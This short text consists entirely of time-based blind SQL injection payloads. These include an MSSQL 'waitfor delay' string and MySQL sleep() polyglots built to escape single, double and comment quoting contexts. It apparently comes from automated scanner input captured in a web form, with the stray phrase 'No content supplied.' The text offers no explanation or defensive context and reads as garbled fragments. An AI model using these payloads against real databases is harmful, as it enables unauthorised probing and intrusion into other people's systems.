-1; waitfor delay ‘0:0:15’ — No content supplied. ← (select(0)from(select(sleep(6)))v)/*’+(select(0)from(select(sleep(6)))v)+'”+(select(0)from(select(sleep(6)))v)+”*/ (select(0)from(select(sleep(3)))v)/*’+(select(0)from(select(sleep(3)))v)+'”+(select(0)from(select(sleep(3)))v)+”*/ →